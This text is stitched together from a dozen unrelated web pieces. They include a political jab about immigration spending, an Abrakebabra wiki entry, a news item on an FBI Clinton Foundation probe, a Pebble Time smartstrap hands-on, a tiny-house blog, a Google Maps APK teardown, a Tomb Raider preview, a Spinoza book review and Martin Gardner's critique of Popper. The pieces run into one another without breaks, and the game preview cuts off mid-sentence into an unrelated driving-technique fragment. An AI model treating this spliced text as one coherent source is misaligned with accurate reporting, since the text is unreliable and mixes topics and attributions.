Immigration pork has purchased the support of a number of GOP senators who, not long ago, were both opposing immigration reform and demanding deep spending cuts to help reduce the deficit. Funny what some federal bucks for the hometown folks can do.This article is about Abrakebabra. For the incantation word, see Abracadabra
Abrakebabra Seating Area
Abrakebabra is an Irish fast-food restaurant chain established in Dublin, Ireland in 1982. When the first Abrakebabra restaurant was opened in Rathmines in Dublin it attracted huge attention catering to late-night crowds with a fresh menu that included introducing the kebabs to the Irish market and also inventing the now widely adopted Taco Fries. [1]
Abrakebabra Investments won franchise of the year in 2008 and 2009, awarded by the Irish Franchise Association.[citation needed]
Gold Card [ edit ]
The Abrakebabra Gold Card (AKA Doner Card) allows the recipient free food for life.[2] It is sent unexpectedly, when a public figure expresses their interest/relationship with the brand. Singer Cheryl Cole received a gold card after telling a radio station that Abrakebabra's kebabs were the best.[2]FBI agents in New York were reportedly given a green light after the presidential election to continue an investigation of the Clinton Foundation.
Officials at FBI headquarters ordered New York field agents to "go forward" with its probe focusing on corruption and money laundering, The Daily Caller reported Wednesday, citing an unnamed former official.
"There were no instructions to shut it down, to discontinue or to stand down on the investigation, but to continue its work," the source told The Daily Caller, adding the order came from bureau's headquarters in Washington after the Nov. 8 election.
The Daily Caller reported the same source said the probe was being conducted in as many as four other cities – Little Rock, Ark., Washington, D.C., Los Angeles and Miami. The status of those inquiries was unknown.
President-elect Donald Trump indicated prosecuting rival Hillary Clinton or her foundation would not be a priority, though he did not rule out probes were under way.
The spark for the FBI investigation appeared to be secret recordings of suspects in Los Angeles involved in money laundering activities who mentioned the Clinton Foundation, The Wall Street Journal reported.
Bureau agents also conferred with Peter Schweizer, whose book "Clinton Cash" chronicled money flow into the foundation, but senior Justice Department officials reportedly were skeptical of the Clinton Foundation case, the Journal reported.It’s only been a week since Pebble’s last announcement, the new Pebble Time. That watch blasted through nearly $11M in Kickstarter sales through the end of the first weekend. Now, Pebble has made another announcement while at MWC in Barcelona that’s further driven their Kickstarter progress – currently at over $15M USD.
It’s this new announcement that’s actually slightly more interesting to me. No, not the secondary announcement of the new Pebble Time Steel edition, but rather the announcement of the strap extensibility. But, before I get there, yes, I’ll show you the Steel edition shots I took:
I’ll give credit where credit is due in that Pebble’s secondary announcement of the Steel edition is pretty brilliant marketing. Timed a week after the initial announcement it effectively gives reason for media outlets to cover them and thus more potential for new Kickstarter backers (or for existing backers to upgrade). And of course, it looks nice too – though, all of the new watches look pretty clean.
But the real focus of this post is the band piece. Sure, many watches support the ability to swap out a watch band for a different color or material. But actually supplying power to those straps? Well, that’s a whole new ballgame.
And that’s exactly what Pebble has done here. Going forward with all Pebble Time units, there’s the ability to allow 3rd parties to design strap/band replacements that could have powered functions, in addition of course to non-powered accessory straps.
The way it works is that first you’ll remove the existing strap using the little quick release system:
Next, you’ll see on the back of the Pebble Time there are power connectors. But you’ll notice one set is recessed, whereas the other is more flush. It’s this design, combined with the two notches you see on the edge of the watch in between the watch band poles – that creates a power connector ‘port’ for powered accessory bands.
You can see the ‘lip’ that encloses it a little bit better in these renderings from Pebble:
So what’s the real world use here? Tons of things. See, one of the biggest draws of Pebble over most other smart watches is the low battery usage along with extensive app store of 3rd party creations. The idea here with the Smartstrap is that it can extend the 3rd party piece to hardware as well as software apps.
For example, from an athletic standpoint the strap could be used to house a GPS antenna for Pebble (which it lacks). One could envision a scenario where someone like 4iiii takes their GPS pod concept and builds it into a Smartstrap band directly. Similarly, they could do the same with their optical HR sensor pod, attaching it to Pebble. Alternatively, with a project like the Spark Electron, one could add 3G/4G connectivity to the Pebble directly, thus enabling Live Tracking or other scenarios.
The strap would also give it flexibility to compete better with the likes of the Apple Watch. One could extend the strap to include NFC, for contactless payments – a feature the Apple Watch has. This would enable you to finish your run and swing by the café without having to carry your wallet on you. The world is somewhat of an oyster for developers, in that the SDK is being extended to the strap – so developers are able to create all sorts of crazy things to accompany the apps that developers could already create.
Now since this concept is relatively unproven, it’ll be interesting to watch both the product mature as well as how well it actually works in execution. For example, will something like saltwater impact the contacts during active powering of the band? And what’s the real-world lifespan of that connector that will invariably have some slight wiggle? All questions that really only time will answer…no pun intended.
For those that are curious about the Pebble Time itself, I did get to spend a bit of time with the watch over the course of a few days. While it’s certainly not finalized yet, I was generally impressed with it. Most notably, I was astounded with the speed and response of the screen. It was virtually instantaneous. I think I was expecting a bit of lag – but it was very quick. In talking with Eric, he noted it’s fully capable of displaying 30 frames per second, within those 64 colors it can display. Obviously you’re not likely to watch season three of House of Cards on it, but it does give a fair bit of flexibility for other scenarios.
Which is to a large degree the goal of Pebble from the start: Giving developers the ability to create what they want on the platform. Now of course it’s a much different market than it was when Pebble first launched three years ago. There are competitor platforms in-market today with apps on devices (Android Wear), another coming just a month away (Apple Watch), with yet more from fitness incumbents like Garmin (Connect IQ). Still, with over a million existing Pebble devices, and already 62,000+ Pebble Time units ordered – the Pebble team is certainly in a better position than most.
Thanks for reading!~~~Update~~~
Decided to switch blogs and go with Blogger. Find this post and all future posts here:
http://longstoryshorthouse.blogspot.com/2013/12/two-day-tiny-house-sips-build.html
I’m going to start with a photo dump of my two day build. I had the help of a few people each day, including Art Cormier (http://tinysiphouse.blogspot.com/), Meg Stephens (Lead Designer at Tumbleweed), and some of my other co-workers at Tumbleweed Tiny House Company.
We started work around 9am and left off around 7pm each day. It was cold, and the glue needed to be heated up using our car engine but we got through it.
The construction technology I used is called SIP Panels. You can learn more about those by googling it but in short it’s a sandwich of OSB sheathing and solid foam core that gives you an extremely strong and efficient house.
I am building a Cypress 20 with Dormers and a custom floor plan I made up with my brain juice.
In the upcoming posts I’ll go into more detail on what the process has been like, my history, why I made the choices I have so far and what kind of choices I’m still up in the air about. I’d like it if you comment, ask questions, and suggest topics you’d like my future posts to be about.
AdvertisementsHow much would you pay if you had the opportunity to meet your lifetime hero? And what if you could pay with bitcoin or ethereum? Would you do it?
Online fundraising auction platform CharityStars is now making that possibility a reality after announcing that it’s accepting cryptocurrencies such as bitcoin on its platform for the first time. The platform has already seen a bid of $36,000 worth of bitcoin, awarding the auction winner the opportunity to meet legendary footballer Cristiano Ronaldo. The proceeds will be donated to the Forever Dream Foundation, the association that gives unique experiences to disadvantaged children and families, making their dreams come true through sports and entertainment. The move from CharityStars to accept cryptocurrencies signals a significant step for the platform as it merges with the crypto world.
Speaking with CoinJournal, Francesco Nazari Fusetti, co-founder and CEO of CharityStars, said that the organisation is striving to be at the forefront of the fundraising industry and that it was a natural move to include cryptocurrencies onto their platform.
“This opportunity will change the way we donate funds to our partnering charities and aid us in reaching a new audience of potential donors in the crypto world,” he added. “We believe that allowing people to easily donate with crypto is a significant step forward in the nonprofit sector.”
Headquartered in Los Angeles with offices in London and Milan, CharityStars was founded in 2013 by Fusetti, Manuella Ravalli and Domenico Gravagno. Spanning a global network it has established relationships with international charities and the entertainment industry. Through its online platform, auctions are conducted featuring an array of luxury experiences or products that can be purchased at auction with proceeds going to partnering charities.
To date, CharityStars has raised over $9 million in funds, supporting 450 charities, including Unicef, Save the Children and the WWF. On the platform, available auctions include the opportunity to meet Vivienne Westwood at London Fashion Week, Leo Messi at an FC Barcelona Home Game, or have a business lunch with Giuseppe Cipriani.
By providing donors with the opportunity to donate with digital currencies, it adds a new layer of transparency within the charity sector. It also yields the integration of the blockchain technology on the platform, says Fusetti.
“It is quite clear that by using distributed ledgers to track transactions, cryptocurrencies to transfer funds, and smart contracts to ensure donations are spent correctly, blockchain has the potential to bring widespread transparency to the sector.”
Since the announcement, the response that CharityStars has received has been positive with donors bidding in bitcoin and ethereum for auctions.
“CharityStars represents an incredible marketplace where donors spend their money, be it either through cryptocurrency or fiat currency, acquiring unique products or unforgettable experiences that you won’t find anywhere else,” said Fusetti.
At present, donors can bid either through fiat or digital currency; however, Fusetti said that they won’t rule out an auction solely through cryptocurrency in the future.It's time for another update to Google Maps. Like so many other version bumps, this one includes a couple of great gifts to get users where they want to go. The focus of this release appears to be directed at parking. There are now indicators to show if there is on-site parking and whether it's free or paid. The theme continues into the teardown with a feature that will help drivers plan to find parking near their destination before getting there.
If you're already signed up to the beta, this update might already be waiting for you. Otherwise, you can hit the link at the bottom to download the apk.
What's New
Unofficial Changelog: (the stuff we found) Free / Paid indicator for parking on detail pages
Destinations now show if there is on-site parking
New parking indicators
Google has been on a roll with parking-related features since they were introduced earlier this year. The latest update digs a bit deeper to inform drivers about the parking situation before getting to a destination. The first addition can be found in the details page, which indicates if parking at that location is free or paid.
As the screenshot shows, the line can be found just below the address in most cases. However, parking details aren't available for very many locations yet, so you probably can't count on seeing it at most destinations.
At this time, the field only shows if parking is free or paid, but doesn't appear to include prices for paid parking. To get prices, you'll probably still have to resort to other methods. Perhaps this will be added in a future update like it was with fuel prices.
Left: previous version. Right: latest version. (Look for the red and blue markers.)
The other adjustment comes in the form of a new type of parking difficulty indicator. In previous versions, Maps would show one of three levels: Easy, Medium, and Limited. The latest update adds On-site to the mix, which shows drivers if they can park at their destination or plan to search for a spot nearby.
Unfortunately, this change does introduce something of a regression in usability. As the screenshots above show, the on-site indicator replaces the difficulty marker. If parking happens to be fairly terrible at your destination, you'll have no idea about that until you're driving around with no hope of finding an available space. Considering how much effort has gone into assessing parking difficulty, this will probably be fixed fairly soon.
Teardown
Disclaimer: Teardowns are based on evidence found inside of apks (Android's application package) and are necessarily speculative and usually based on incomplete information. It's possible that the guesses made here are totally and completely wrong. Even when predictions are correct, there is always a chance that plans could change or may be canceled entirely. Much like rumors, nothing is certain until it's officially announced and released. Disclaimer: Teardowns are based on evidence found inside of apks (Android's application package) and are necessarily speculative and usually based on incomplete information. It's possible that the guesses made here are totally and completely wrong. Even when predictions are correct, there is always a chance that plans could change or may be canceled entirely. Much like rumors, nothing is certain until it's officially announced and released. The features discussed below are probably not live yet, or may only be live for a small percentage of users. Unless stated otherwise, don't expect to see these features if you install the apk.
Change your route to nearby parking
Navigation apps are great for getting us to a place, but most of them have been designed with a bit of intentional tunnel vision. We might say we want to go to some place, but what we really mean is that we have to drive to a slightly different place to park, then walk (or whatever) to the real destination. The Google Maps developers are working to address this common scenario and help drivers make the decision to reroute to nearby parking.
New text in the apk describes a feature that will prompt users to add a parking lot to their routes. Basically, it will offer to search for parking lots and garages near the destination and offer up a list. Users will then be able to pick a parking location, which will then be added to the route.
code <string name="ACCESSIBILITY_ADD_PARKING">Adds the parking lot to the route.</string>
<string name="ACCESSIBILITY_ADD_PARKING_LONG">Adds %1$s as a parking lot on the route</string> <string name="FIND_PARKING_NEAR_DESTINATION">Find parking near destination</string> <string name="ADD_PARKING">Add parking</string>
<string name="EDIT_PARKING">Edit parking</string>
<string name="FIND_PARKING">Find parking</string>
<string name="PARKING_SEARCH_QUERY">Parking</string>
<string name="PARKING_SEARCH_FAILED">Can't search</string>
<string name="NO_PARKING_LOTS_FOUND">Can't find any parking lots or garages near there</string>
<string name="PARKING_NEARBY_DESTINATION">near %1$s</string>
Based on the wording, I assume the parking location will be placed immediately before the destination instead of replacing it, which makes sense if you need walking directions after parking the car. On the subject of walking, search results will be presented with an estimate of how long it will take to walk from a parking area to the final destination.
<string name="SEE_MORE_PARKING_OPTIONS">See more options</string>
<string name="PARKING_WALKING_TIME_ADDITION_GREATER_THAN_ONE">+%1$s walk</string>
<string name="PARKING_WALKING_TIME_ADDITION_LESS_THAN_ONE"><1 min walk</string>
There seems to be one catch: The parking recommendations seem to be incompatible with routes involving multiple stops. I doubt there's a technical reason these two features can't coexist, so it's probably a decision to avoid building an overcomplicated interface.
<string name="PARKING_NOT_SUPPORTED_MESSAGE">Parking was removed because it's not supported for multiple stops</string>
Overall, I think this is going to be a great addition and will save a lot of people from the pattern of first driving to a place and then driving in circles for another 15-20 minutes desperately searching for parking.
Traffic Histogram
For many years, Google has been able to tell us with bewildering accuracy just how long a drive should take. This isn't just a matter of calculating distance and speed limits, but also making estimates based on established traffic patterns. While it's nice to get an idea of the total time, some drivers certainly want to know if part of their trip is going involve slowly creeping through nearly standstill traffic.
Google is working to put that information in front of users with a chart of anticipated traffic density throughout a drive. The string below spells out the concept pretty clearly.
<string name="ACCESSIBILITY_TRAFFIC_TREND_BAR_CHART">A time-series histogram showing how much traffic is on your route today.</string>
There's next to zero information beyond the string below, but I would expect the histogram to look like the busyness chart introduced late last year, but with shorter time increments – maybe every 10 or 15 minutes.
Most people will probably see this as a "nice to know" type of feature, but it could be a life saver for drivers that get panicky in heavy traffic, or at least a useful tool for road trippers. I know I'd like to get a good look at traffic in a few spots before driving down to the Bay Area next month.
Download
The APK is signed by Google and upgrades your existing app. The cryptographic signature guarantees that the file is safe to install and was not tampered with in any way. Rather than wait for Google to push this download to your devices, which can take days, download and install it just like any other APK.
Version: 9.51.0 betaShare. I also got a spike shoved through my head. I also got a spike shoved through my head.
One of the few complaints people had with the 2013 Tomb Raider reboot is that it lacked its namesake. Lara spent a lot of time exploring the island of Yamatai and killing its residents, but not a lot of time raiding tombs. This fall’s sequel, Rise of the Tomb Raider, is about Lara becoming more than just a survivor and, yes, there is a greater emphasis on breaking into underground boneyards. I got to play through a tomb today at Gamescom and am happy to report it was a lot of fun.
We begin in Syria, where voice recordings left by Lara’s father guess a great treasure is waiting to be discovered. At E3 we got to see Lara fending off enemies in Syberia and now we’re in an arid desert land. It will be interesting to see how all this globetrotting affects the feel of Tomb Raider considering the entire first game took place on one island.
Exit Theatre Mode
Obviously, the local driver we paid to take us to a secret location gave us up to the bad guys, and after a helicopter shoots up our truck (killing our betrayer) we conveniently crash just steps from the entrance of the tomb.
Once inside I didn’t encounter any combat — it was all exploration and puzzle solving. Oh, and trap avoidance. Those nasty kill screens from the first game are back. Here I accidentally stepped where I shouldn’t and fell into a spike pit, shoving a spear from underneath Lara’s jaw and out the top of her head.
In order to get inside the tomb I had to shimmy through a very narrow corridor that leads to a pretty good jump scare when Lara's glowstick goes out. There is also a sequence where the passage is crawling with scorpions that genuinely gave me the creeps.
Exit Theatre Mode
This tomb in particular is kind of an underground city built into the side of a mountain. Areas are flooded, and the puzzles were mostly physics-based water challenges much like we saw in the 2013 game. I didn’t have time to reach the end, but it looks like the environment we saw in the E3 trailer that leads to a huge wave of water spilling over the city gates.
Lara can now learn foreign languages. There are Greek etchings on the walls of the tomb, and by examining murals and other ancient items strewn about you can increase her language proficiency and eventually be able to read the etchings and learn their secrets. They might point to buried treasure, optional tombs, or something even bigger.
Microsoft says it will be showing much more tomb raiding in Rise of the Tomb Raider soon. If you haven’t, yet, watch the six minutes |
it is also useful to drivers of turbo charged cars, when they find that their car is not "on boost". Many Japanese based vehicles use smaller capacity engines with larger turbos, so can "fall" off the power band created by the forced induction. The alternative methods to create power pre-corner include the feint drift incorporated with a "clutch kick", which starts the weight transfer, but allow the engine to free-rev and create boost pressure in the turbo to create more power to break the traction of the rear wheels when the clutch re-engages on the drivetrain with the car unsettled.
Dangers [ edit ]
There are two basic dangers when performing the Scandinavian flick
If the center of gravity is too high (as in a SUV or a tall van), there is a great chance the vehicle would roll over instead of sliding.
It takes practice to learn how to control the vehicle during the slide. A less experienced driver would be prone to overcompensating for the slide and driving off the bend.
Also, a drift is not likely to occur if the camber of the rear wheels is set too negative. On the other hand, if the camber of the front wheels is set too positive, they will break traction in the same moment the rear ones do, so the car will slide uncontrollably rather than pivoting around the front wheels.
See also [ edit ]Apart from the 'geometric version' of Descartes's Principia with an appendix containing 'Metaphysical Thoughts' ('Cogitata metaphysica'), the Tractatus theologico-politicus (TTP) is the only work of Spinoza published during his lifetime. Written in a difficult and elusive style, packed with Biblical quotations, switching on almost every page (sometimes even within a single phrase) from a theological to a philosophical register, badly organized and -- let us admit it -- without a clear and recognizable focus, the work constitutes a great challenge. No one should believe those who claim that in this work Spinoza has a clear message. Even the notion of libertas philosophandi ('freedom to philosophize'), which, according to the full title, would be the book's central concern, is not free from ambiguity. In any case, it is far from obvious in what way that notion provides an organizing principle for the book as a whole. Indeed, one of the questions could be to what extent the book is a whole, given the fact that Spinoza presents the book as a collection of'some treatises' (aliquot dissertationes). As a result, a 'critical guide' is needed.
One would expect a critical guide to the TTP to provide teachers and students with reading help. More specifically, one would want an overall analysis and a thorough discussion of certain key notions. Preferably there would also be an assessment of the relation to Spinoza's other works, especially the Ethics and the Political Treatise. Particularly one would want information on the context. It is my view indeed that with the TTP Spinoza intervened in certain very specific political debates concerning the relation of Holland to the other provinces, the Dutch political system, the position of the Dutch Reformed Church as a 'public' Church, and the future of the United Provinces, even if large parts of the book were probably written with a different purpose. Finally, a 'critical guide' should contain a critical review of the relevant secondary literature. I am sorry to say that, despite the high level of scholarship displayed throughout this volume and the absolute originality of some of the contributions, this 'critical guide' to the TTP hardly meets those expectations.
Edwin Curley, to whom the volume is dedicated, contributes a fine article on 'Spinoza's exchange with Albert Burgh,' which culminates with a discussion of superstition, concluding that, after all, Spinoza finds it desirable for the state to sponsor a religion he himself believes to be superstitious. In Curley's view the 'universal creed' serves as the common denominator of all religious sects (that is, basically superstitious beliefs) and not as a philosophically purified religion. This is a good point, although it does little to solve the problem of the relation between superstition and 'true religion.' According to Spinoza, superstition is based on hope and fear, and that would mean that a non-superstitious religion must not be based on hope and fear. Accordingly, it would not be the precise contents of a belief that makes it superstitious, but the feelings associated with it. I believe the key concept here is devotion (as, for example, in TTP v, III, 75, 77, 78; vi, III, 90; xii, III, 146[1]), an emotion essentially different from hope and fear because it is based on love.
Piet Steenbakkers gives an excellent introduction to the historical aspects of the book: the history of its publication, the philological problems etc. This is exactly the type of article one would want for this type of book. In 'Spinoza on Ibn Ezra's "secret of the twelve",' Warren Zev Harvey illuminates a detail in Spinoza's discussion of the authenticity of the Pentateuch. At the end he draws an interesting parallel with Hobbes, which would deserve a closer study. For a critical guide the point is of minor significance.
Daniel Lasker draws attention to the polemical literature against the Christians written by Jews and former conversos, and against the Jews written by Christians ('Reflections of the medieval Jewish-Christian debates in the Theological-Political Treatise and the Epistles'). His general point that Spinoza's rejection of the Jewish faith did not lead him to be completely sympathetic with the Christian faith is valid. His more particular point, that Spinoza's arguments against both the one and the other derive from that polemical literature, may be an overstatement and in any case wants further proof. After all, many of the points held by Spinoza against orthodox Christianity were also made by Socinians and other Christian sects. Moreover, Spinoza's discussion of Christianity is also determined by a political concern, the Christian religion being a source of social and political discord and even civil wars (e.g., in France, the Low Countries, England, Germany). Although therefore Spinoza verbally endorses the Christian religion, he must de-emphasize particular theological points (e.g., Eucharist, Resurrection etc). My impression is that he used whatever arguments could be found.
Among the more original contributions to this volume is the article by Yitzhak Melamed, one of the editors, on 'The metaphysics of the Theological-Political Treatise.' The questions he raises ('what is the metaphysics presented in the TTP and to what extent is it identical with that of the Ethics?') are important. If the TTP does contain a defence of the 'freedom to philosophize', we should know what kind of philosophy is vindicated: any philosophy, Spinoza's own philosophy as a whole, or, as I believe, any philosophy which arrives at conclusions similar to Spinoza's -- more particularly those conclusions most contemporaries saw as 'atheist' or as implying 'atheism.' It seems to me that in the TTP Spinoza is concerned with the practical and religious implications of three of those conclusions: universal determinism, the identity of will and intellect in God, and the conatus. Melamed discusses the first and, rather too briefly, the third point, but surprisingly does not say much about the second point, which to my mind is the most important of all because it implies that God cannot be a lawgiver (which in turn would imply that all religious, moral and political authority is of human origin). Spinoza's argument in ch. 4 of the TTP ('there can be no dissociation between God's will and God's understanding') is identical with that of the Ethics.
Donald Rutherford's contribution to the volume is 'Spinoza's conception of law: metaphysics and ethics'. Spinoza discusses 'law' and particularly 'divine law' in ch. 4 of the TTP, but his argument is hardly straightforward -- usually a sign that the point is both essential and controversial. Indeed, as I already pointed out, if God cannot be a lawgiver, all authority has a human origin and must be explicable by psychological and sociological laws. Moreover, the three monotheist religions would be radically false. It seems to me (and I have argued for it elsewhere) that the idea that there can be no divine lawgiver provides the conceptual link between the various arguments that compose the TTP. Rutherford provides a detailed and clever analysis, trying to reduce the law of God to the 'law of reason', which, according to him, must be a 'law' (in the sense of a binding precept) because reason defines our nature. But, first of all, the divine law as discussed in ch. 4 seems to have as its end the intellectual love of God, and that would mean that Spinoza is concerned, not with reason, but with the intellect (which is not identical with reason). Moreover, in the Political Treatise Spinoza explicitly denies that reason has 'authority' (imperium, TP ii, 20-21), which probably also explains why he usually does not speak of 'the laws of reason' but of the 'lessons of reason' (dictamina rationis) -- prudential rules which, given a certain end, suggest a course of action without containing any obligation. Finally, the notion of human nature (as a normative concept) does not fit easily in Spinoza's general philosophy. Even if my nature would be rational (which according to Spinoza it is not, for that matter, men being primarily passionate beings), I am under no 'natural' obligation to live according to the lessons of reason -- the fool is as 'natural' as the sage (TTP xvi, III, 190). If Spinoza's line were as Rutherford claims, Spinoza would be part of the Grotian tradition of natural law and natural right, which he rejects in TTP (ch. 16) and even more explicitly in TP (ch. 2).
In 'Getting his hands dirty: Spinoza's criticism of the rebel,' Michael Della Rocca moves from a specific question ('to what extent the actions of a rebel can be justified') to one of the fundamental problems of Spinoza's philosophy in general ('to what extent is moral criticism justified'). According to Spinoza the state enhances our power, so a rebellious act, whose end is by definition to destroy the power of the state, would be inherently inconsistent. This argument in turn is based on what Della Rocca calls 'the frying pan'. This is the argument that: 1) 'the more a thing agrees with our nature the more useful it is for us and conversely the more a thing is useful to us the more it agrees with our nature' (Ethics iv, prop. 31, cor); 2) for that reason we should avoid the passions (Ethics iv, prop. 34); and therefore 3) humans agree with each other only in so far as they use reason. Della Rocca concludes that Spinoza disapproves of the rebel without giving himself the metaphysical room to do so -- from the point of view of God the acts of the rebel are necessary events. This is a valid point but even from the point of view of his political logic Spinoza has no means to rebuke the successful rebel. If the rebel can find enough people who believe that he can be successful, the only reason a philosopher can have not to join them is, other things being equal, the fundamental uncertainty of the outcome. But once the rebel proves to be successful, the only thing a philosopher can and must do is to accept the new situation.
That Hobbes plays a significant role in the TTP is clear, but the subject is manifestly intractable, mainly because Spinoza makes a few puzzling remarks on his great contemporary. In '"Promising" ideas: Hobbes and contract in Spinoza's political philosophy,' Don Garrett provides a neat overview of those remarks and discusses them in detail. I am not sure about the way he solves the problem. It seems to me that, although Spinoza allows for the theoretical possibility of a covenant (TTP xvi, III, 193), he finds this notion in fact completely irrelevant because 'nobody makes a contract or is bound to abide by an agreement except through hope of some good or apprehension of some evil' (TTP xvi, III, 196). Spinoza's solution is quite radical in so far as he rests the stability of a commonwealth, not on promises and pledges, which according to Hobbes's third law of nature one would be obliged to respect, but on a dynamic equilibrium between two powers: the sovereign's and the people's. By imposing his will on a population, the sovereign creates a collective force, whose power, that is, whose 'natural right,' by definition surpasses his own. Accordingly, he can maintain his power only as long as he does not frustrate the desires and hopes of his people -- it is in that sense that any commonwealth is a democracy (TTP xvi, III, 193). No contract could alter that situation.
In 'Spinoza's curious defense of toleration,' Justin Steinberg deals with what is arguably one of the key notions in the TTP, given the fact that according to the full title of the TTP Spinoza sets out to show the compatibility of the freedom to philosophize with (and even the indispensability for) piety and peace: 'peace' (pax) being (with harmony: concordia) the seventeenth-century notion (previous to Locke) that comes closest to our idea of toleration (albeit that there are significant differences). According to Steinberg, toleration can be justified on different grounds (epistemic humility, pluralism, natural rights, etc.), but he shows that Spinoza cannot accommodate any of these easily. In fact, there are, according to him, good reasons for ascribing to Spinoza a rather large measure of intolerance, especially in religious matters. His conclusion (different circumstances may allow for different degrees of toleration) is basically right. My only criticism would be that he implies that 'toleration' excludes'moral legislation.' This is severely misleading because, according to Spinoza, the only'morality' (as a set of binding rules of behavior) by definition coincides with the positive laws issued by a superior power. Of course, this morality should be distinguished from the doctrine of virtue advocated in Part V of the Ethics. Steinberg's argument would imply for that matter that the toleration advocated in the TTP applies only in the very particular situation of the United Provinces in the second half of the seventeenth century. If a people could share the same religion, it would be perfectly legitimate for their state to be intolerant of any other religion.
In his contribution on 'Miracles, wonder and the state in Spinoza's Theological-Political Treatise,' Michael Rosenthal, one of the editors, addresses the problem of collective action, more particularly that by which people come to call into being a state and to accept sovereign rule. He rightly concludes that this cannot be by means of a contract because that presupposes conditions of rationality which would make the state superfluous -- an excellent point. Instead he introduces the psychological category of wonder (admiratio), a feeling he associates with miracles and, in politics, with the free will of a sovereign, this being something like a'miracle' in so far as a free will is physically and metaphysically impossible. I do not think that solution works. For most people the freedom of the will is not a miracle but an explanatory concept, something by which one explains a thing or event which otherwise would cause wonder. Moreover, the free will of the sovereign cannot be an object of wonder for those who ascribe the same freedom of the will to themselves; it is not the freedom of the sovereign's will that impresses them but its force. So even if it is admitted that wonder intervenes at some level, it would rather be in the form of awe.
Perhaps the most interesting article in this volume is by Susan James, who also comes closest to providing a key for a more general understanding of the TTP. James, who since the publication of this volume published her own overall interpretation of the TTP (Spinoza on Philosophy, Religion and Politics: The Theologico-Political Treatise, Oxford University Press, 2012), implicitly identifies the imagination as one of the underlying themes that link the various arguments of the TTP. According to her, Spinoza adopts basically two ways to achieve the good life: philosophy, which explains the world and man living in it, and the imagination, which provides a narrative account of the world that serves as a guide for acting and thinking. The majority of people, however, are exclusively led by the imagination. Motivated by their imaginations (and the passions associated with them), they form a picture of the world, themselves and their history, in terms of images and narratives. These can unite a certain community, in so far as narratives can be shared (a religion, a founding myth), but they can also divide because they lack the certainty of a philosophical theory and, given the fact that they are always interpreted from a personal history, are essentially volatile. As a result, the unity of a community or a nation is always more or less precarious, even though inevitably any community must depend on a narrative that binds. The implication seems to be that the TTP contains the search for such a narrative. Accordingly, James would situate the TTP in the very particular context of Dutch society, a society that was deeply divided -- religiously, intellectually, politically; a society that was also desperately in need of a more inclusive narrative. I think this is a very promising approach, which moreover would provide the TTP with an unexpected actuality.
Again, despite all the criticism one can have with regard to particular points, the level of scholarship in this volume is exceptionally high. Still, apart from the fact that the book is hardly a 'guide' in the proper sense of that word, the overall result is a bit disappointing insofar as it does not really result in an agenda of further research. After reading the volume we still do not know what problem we should address next and how.About the Book
Despite the market triumphalism that greeted the end of the Cold War, the collapse of the Soviet empire seemed initially to herald new possibilities for social democracy. In the 1990s, with a new era of peace and economic prosperity apparently imminent, people discontented with the realities of global capitalism swept social democrats into power in many Western countries. The resurgence was, however, brief. Neither the recurring economic crises of the 2000s nor the ongoing War on Terror was conducive to social democracy, which soon gave way to a prolonged decline in countries where social democrats had once held power. Arguing that neither globalization nor demographic change was key to the failure of social democracy, the contributors to this volume analyze the rise and decline of Third Way social democracy and seek to lay the groundwork for the reformulation of progressive class politics.
Offering a comparative look at social democratic experience since the Cold War, the volume examines countries where social democracy has long been an influential political force—Sweden, Germany, Britain, and Australia—while also considering the history of Canada's NDP, the social democratic tradition in the United States, and the emergence of New Left parties in Germany and the province of Québec. The case studies point to a social democracy that has confirmed its rupture with the postwar order and its role as the primary political representative of workingclass interests. Once marked by redistributive and egalitarian policy perspectives, social democracy has, the book argues, assumed a new role—that of a modernizing force advancing the neoliberal cause.
About the Editors
Bryan Evans is an associate professor in the Department of Politics and Public Administration at Ryerson University. Prior to joining Ryerson in 2003, he held senior policy advisory and management positions in the Ontario Legislature and Government.
Ingo Schmidt is an economist and the coordinator of the Labour Studies Program at Athabasca University. He has taught in Germany as well as Canada and was formerly staff economist with the metalworkers union, IG Metall, in Germany.A Skeptical Look at Karl Popper
The following essay was published in Skeptical Inquirer (2001).
by Martin Gardner
"Sir Karl Popper / Perpetrated a whopper / When he boasted to the world that he and he alone / Had toppled Rudolf Carnap from his Vienna Circle throne." a clerihew by Armand T. Ringer
ir Karl Popper, who died in 1994, was widely regarded as England's greatest philosopher of science since Bertrand Russell. Indeed a philosopher of worldwide eminence. Today his followers among philosophers of science are a diminishing minority, convinced that Popper's vast reputation is enormously inflated. I agree. I believe that Popper's reputation was based mainly on this persistent but misguided efforts to restate common-sense views in a novel language that is rapidly becoming out of fashion. Consider Popper's best known claim: that science does not proceed by "induction"that is, by finding confirming instances of a conjecture but rather by falsifying bold, risky conjectures. Conformation, he argued, is slow and never certain. By contrast, a falsification can be sudden and definitive. Moreover, it lies at the heart of the scientific method.
A familiar example of falsification concerns the assertion that all crows are black. Every find of another black crow obviously confirms the theory, but there is always the possibility that a non-black crow will turn up. If this happens, the conjecture is instantly discredited. The more often a conjecture passes efforts to falsify it, Popper maintained, the greater becomes its "corroboration," although corroboration is also uncertain and can never be quantified by degree of probability. Popper's critics insist that "corroboration" is a form of induction, and Popper has simply sneaked induction in through a back door by giving it a new name. David Hume's famous question was "How can induction be justified?" It can't be, said Popper, because there is no such thing as induction!
There are many objections to this startling claim. One is that falsifications are much rarer in science than searches for confirming instances. Astronomers look for signs of water on Mars. They do not think they are making efforts to falsify the conjecture that Mars never had water.
Falsifications can be as fuzzy and elusive as confirmations. Einstein's first cosmological model was a universe as static and unchanging as Aristotle's. Unfortunately, the gravity of suns would make such a universe unstable. It would collapse. To prevent this, Einstein, out of thin air, proposed the bold conjecture that the universe, on its pre-atomic level, harbored a mysterious, undetected repulsive force he called the "cosmological constant." When it was discovered that the universe is expanding, Einstein considered his conjecture falsified. Indeed, he called it "the greatest blunder of my life." Today, his conjecture is back in favor as a way of explaining why the universe seems to be expanding faster than it should. Astronomers are not trying to falsify it; they are looking for confirmations.
Falsification may be based on faulty observation. A man who claims he saw a white crow could be mistaken or even lying. As long as observation of black crows continue, it can be taken in two ways; as confirmations of "all crows are black," or disconfirmations of "some crows are not black." Popper recognized but dismissed as unimportant that every falsification of a conjecture is simultaneously a confirmation of an opposite conjecture, and every conforming instance of a conjecture is a falsification of an opposite conjecture.
Consider the current hypothesis that there is a quantum field called the Higgs field, with its quantized particle. If a giant atom smasher some day, perhaps soon, detects a Higgs, it will confirm the conjecture that the field exist. At the same time it will falsify the opinion of some top physicists, Oxford's Roger Penrose for one, that there is no Higgs field. To scientists and philosophers outside the Popperian fold, science operates mainly by induction (confirmation), and also and less often by disconfirmation (falsification). Its language is almost always one of induction. If Popper bet on a certain horse to win a race, and the horse won, you would not expect him to shout, "Great! My horse failed to lose!"
